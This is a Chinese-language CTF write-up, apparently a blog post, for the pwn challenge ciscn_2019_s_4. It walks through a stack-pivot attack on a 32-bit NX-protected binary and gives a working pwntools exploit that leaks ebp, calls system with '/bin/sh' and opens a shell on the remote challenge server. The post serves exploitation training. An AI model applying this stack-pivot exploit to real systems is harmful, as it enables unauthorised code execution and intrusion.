ciscn_2019_s_4 [write up]

ciscn_2019_s_4

惯例先checksec一下

请添加图片描述

开启了NX保护的32位程序 放进ida里看看

请添加图片描述
main函数里没什么信息 进vul函数看看

有两个read函数 但是溢出长度尽到ebp 考虑栈迁移

请添加图片描述

shift+F12调出字符串表 发现system但没找到/bin/sh 由于函数使用过system函数 所以直接找到plt地址为0x8048400

利用ROPgadget找到leave ret的地址为0x080484b8
请添加图片描述
动态调试找到偏移量为0x38

利用栈迁移 成功获取到flag
请添加图片描述

exp:

from pwn import *
io=remote('node4.buuoj.cn',29721)
sys_addr=0x8048400
leave=0x080484b8

payload='a'*0x24+'bbbb'
io.recvuntil('name?')
io.send(payload)
io.recvuntil('bbbb')
ebp=u32(io.recv(4))

print(hex(ebp)) 

buf=ebp-0x38 
payload=(p32(sys_addr)+'aaaa'+p32(buf+12)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf-4)+p32(leave)
io.send(payload) 
io.interactive()
  • 第二个payload中的’aaaa’为fake ebp,system函数的返回地址为“p32(buf+12)”(即/bin/sh\x00在栈上的地址)
  • /bin/sh后一定要加上\x00
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值